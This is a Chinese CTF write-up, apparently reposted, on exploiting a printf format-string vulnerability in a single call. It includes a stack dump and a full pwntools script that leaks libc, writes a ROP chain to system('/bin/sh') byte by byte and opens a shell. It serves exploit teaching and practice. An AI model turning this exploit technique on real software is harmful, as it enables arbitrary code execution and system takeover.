printf 一次性写

2024-06-03 23:44
文章标签 printf 一次性

本文主要是介绍printf 一次性写,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

PWN里printf漏洞感觉很小,可发现居然理解的不全。

一般情况下,当buf不在栈内时,就不能直接写指针。这时候需要用到rbp链或者argv链。一般操作是第一次改指针,第二次改数值。

DAS昨天这里只给了一次机会然后就exit了。今天ckyen给了个WP的链接 一次有趣的格式化字符串漏洞利用 | ZIKH26's Blog

照着这题把昨天那题复现一把。

一般printf的格式是: %88c%9$hhn

前边88c是输出88个字符,计数器会变成88,然后9$ 表示偏移,hhn表示写入的格式是1字节.

这里边9$会在printf前边处理完后再写入。如果想用一次输出既写指针又写值就办不到了。而文中的方法使可以直接写。

这个格式是这样的:%88c%hn

这里少了偏移,那么怎么指定偏移呢,就由前边的%个数来确定。比如%p%p%88c就是3,并不管这些%的是用来干啥。

先看下题目原码

  strcpy(s, "Easy Challange");puts(s);printf("Gift addr: %lx\n", s);memset(s, 0, 0x20uLL);strcpy(s, "Please leave your message: ");printf("%s", s);memset(s, 0, 0x20uLL);read(0, buf, 0x100uLL);printf(buf);            #修改返回地址,执行完printf后返回执行read_exit(0);

再看下栈的情况,这里在8,10再个位置恰好有两个指针。而rsp的偏移是6,那么可以直接利用偏移7处的指针写偏移49处的值,使它指向-8 也就是 printf函数的返回地址位置。将这个位置修改1字节,使其它返回地址 0x401366改为0x40133f重新回到read+printf。

0x00007fffffffddf0│+0x0000: 0x00000000000000c2   ← $rsp
0x00007fffffffddf8│+0x0008: 0x00007fffffffdf48  →  0x00007fffffffdde8  →  0x40133f
0x00007fffffffde00│+0x0010: 0x00007fffffffdf38  →  0x00007fffffffde10  →  pop_rdi,bin_sh,system
0x00007fffffffde08│+0x0018: 0x00000001004013bd
0x00007fffffffde10│+0x0020: 0x0000000000000000
0x00007fffffffde18│+0x0028: 0x0000000000000000
0x00007fffffffde20│+0x0030: 0x0000000000000000
0x00007fffffffde28│+0x0038: 0x0000000000000000
0x00007fffffffde30│+0x0040: 0x00007fffffffdf30  →  0x0000000000000001
0x00007fffffffde38│+0x0048: 0xac1d9c1a370f3f00
0x00007fffffffde40│+0x0050: 0x0000000000000000   ← $rbp
0x00007fffffffde48│+0x0058: 0x00007ffff7df9083  →  <__libc_start_main+243> mov edi, eax

所以这个第1个payload构造成这样

off2 = (0xdf48 - 0xddf0)//8 + 6
off1 = off2 - 2pad = 5
pay = '%1c'*5  #利用偏移7的指针,需要前边使用6次%,前5次各输出1字节,也可用%p之类,只是%1c更容易计算输出的长度。
#利用栈里的两个指针(偏移7,8)一个指向printf_ret造循环,一个指向v1写ROP
pay += f"%{(stack-0x28-pad)&0xffff}c%hn" #7:ptr:df48 -> 49:printf_ret:dde8 -> 0x401366
pay += f"%{0x28}c%8$hn"  #8 off1:df98->v1  #同时改下偏移8指向ROP位置,后边写ROP用
#第1个指针利用无偏移的%hn修改,然后将printf_ret修改为0x3f重新循环,以后每次执行都利用这个指针修改
pay += f"%{(0x3f - stack)&0xff}c%{off2}$hhn"  #将printf_ret 0x66->0x3f 实现循环
pay += f"libc:%17$p,"  #最后泄露下libc地址 

后边都是常规操作,由于n$的偏移会最后写,所以每次修改的下次使用的指针

1,利用这个指针修改printf_ret实现维持循环,

2,利用另一个指针写ROP,

3,修改指向ROP的指针。

最后将 printf_ret改成ppp4跳到ROP执行

from pwn import *context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc = ELF('./libc.so.6') #libc-2.31-0ubuntu9.15p = process('./pwn2')gdb.attach(p, "b*0x40133f\nc")p.recvuntil(b"Gift addr: ")
stack = int(p.recvline(),16)off2 = (0xdf48 - 0xddf0)//8 + 6
off1 = off2 - 2pad = 5
pay = '%1c'*5  #len=5 
pay += f"%{(stack-0x28-pad)&0xffff}c%hn" #6 rsp 7 ptr:df48 -> printf_ret:dde8
pay += f"%{0x28}c%8$hn"  #8 off1:df98->v1
pay += f"%{(0x3f - stack)&0xff}c%{off2}$hhn"  #printf_ret 0x66->0x3f
pay += f"libc:%17$p,"  #泄露libc地址 
p.sendafter(b"Please leave your message: ", pay.ljust(0x100-3,'A').encode()+b'END')p.recvuntil(b'libc:')
libc.address = int(p.recvuntil(b',')[:-1],16) - 243 - libc.sym['__libc_start_main']
p.recvuntil(b'END')print(f"{libc.address = :x}")pop_rdi = 0x4013d3
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']#off2->printf_ret
payload = flat(pop_rdi,bin_sh,system)
for i,v in enumerate(payload):pay = f"%{0x3f}c%{off2}$hhn"  #维持循环if v!=0x3f:pay += f"%{(v-0x3f)&0xff}c%{off1}$hhn" #pay[i]  #写1字节ROPelse:pay += f"%{off1}$hhn"pay += f"%{(stack+i+1-v)&0xff}c%8$hhn" #修改下次指针p.send(pay.ljust(0x100-3,'A').encode()+b'END')p.recvuntil(b'END')#将printf_ret改为ppp4,跳过中间过程执行ROP:pop_rdi,bin_sh,system
ppp4 = 0x4013cc
pay = f"%{0xcc}c%{off2}$hhn" #printf_ret->ppp4
p.send(pay.ljust(0x100-3,'A').encode()+b'END')
p.interactive()

这篇关于printf 一次性写的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1028453

相关文章

程序员为什么不能一次性写好,需要一直改Bug?

程序员在编写代码时不能一次性写好,而是需要不断修改Bug,这主要是由几个因素导致的: 复杂性:软件开发是一个高度复杂的过程,涉及到多个模块、功能、逻辑和数据的交互。即使是最有经验的程序员,也很难一次性预见并处理所有可能出现的问题。需求变更:在软件开发过程中,客户需求经常会发生变化。这些变更可能导致已经编写好的代码需要调整,从而引入新的Bug。技术更新:随着技术的不断发展,新的编程语言、框架和库不

shell printf详解

默认的 printf 不会像 echo 自动添加换行符,我们可以手动添加 \n。 1. printf命令语法组成: printg format-string [arguments] 第一部分为格式化字符串,该字符串最好用引号括起来 第二部分为参数列表,例如字符串或变量值的列表,该列表需与第一个参数格式相对应. 1.1. format参数 参数 含义 举例 %b 打印相关内容并

(python3) printf格式化Bytes

处理Bytes字节数组:bytes和bytearray 转换说明符需要包含两种或以下更多的字符,必须遵守以下约定: 以“%”作为需要格式化内容的开始标记; 带有括号的映射字符序列,可选; 会影响结果的转换类型,可选; 指定符号“*”指定符号“.”长度修改器,可选转换类型   格式化符号 符号说明'#' '0' '_' ' ' '+'  格式化类型 符号说明'd'</

printf %p

int i; printf("%p",&i) 格式控制符“%p”中的p是pointer(指针)的缩写。指针的值是语言实现(编译程序)相关的,但几乎所有实现中,指针的值都是一个表示地址空间中某个存储器单元的整数。printf函数族中对于%p一般以十六进制整数方式输出指针的值,附加前缀0x。 示例: int i = 1; printf("%p",&i);

AI绘画Stable Diffusion神级插件AnimateDiff超稳动画教程来了!手把手教你一次性学会

大家好,我是设计师阿威 今天给大家分享AI做稳定动画的新教程,这一次的稳定效果,比上一次和上上次都更加惊艳,而且实现难度直线下降!几乎可以说是有手就会,非常适合追求高效高质效果的商用场景! 重点是:更简单!更高效! 今天我们就来用标题中的SD插件AnimateDiff做一个动画视频,AnimateDiff插件下载请扫描获取哦 AnimateDiff在SD的webUI中使用起来,那是非

printf有趣的\033

目录(?)[-] printf有趣的033 代码分析 printf有趣的\033 1 2 3 4 5 int main ( int argc , char * * argv ) {          printf ( "\033[44;37;5m hello world\033[0m\n" ) ;          retu

RS485实现串口功能(含printf打印函数)

rs485和普通串口其实是差不多的,多了一个引脚,工作在半双工 RX和TX表示接收和发送,rs485-de表示控制位,0等待接收,1表示要发送数据了。按照这个特性可以编写函数 ①定义结构体 ②RX浮空输入,TX复用推挽输出,RE485-DE推挽输出 ③波特率,中断优先级,接收模式等配置 ④使能中断,使能串口 ⑤中断函数写入操作 具体实现 void uart_init(u32 bound){G

PHP 输出字符串(echo,print,printf,sprinf,print_r,var_dump)

本篇文章是对php输出echo、print、print_r、printf、sprintf、var_dump的区别进行了详细的分析介绍。 一、echo echo() 实际上不是一个函数,而是一条php语句,因此无需对其使用括号。不过,如果您希望向 echo() 传递一个以上的参数,那么使用括号会发生解析错误。而且echo是返回void的,并不返回值,所以不能使用它来赋值。 例子: 1

关于c语言printf和++a、a++的那些事

c语言printf的工作原理 首先,c语言的printf函数的参数采用的是栈的输入计算方式,即先将printf的参数通过计算后将结果按照从右往左的顺序输入到栈中,再先进后出的输出出来,这就是c语言的printf的工作方式。 ++a和–a 接下来要聊的是对于++a和--a在printf中的计算方式,++a和--a都是直接将a+1或者a-1的值直接放到a的内存中,就是原本的值直接+1或者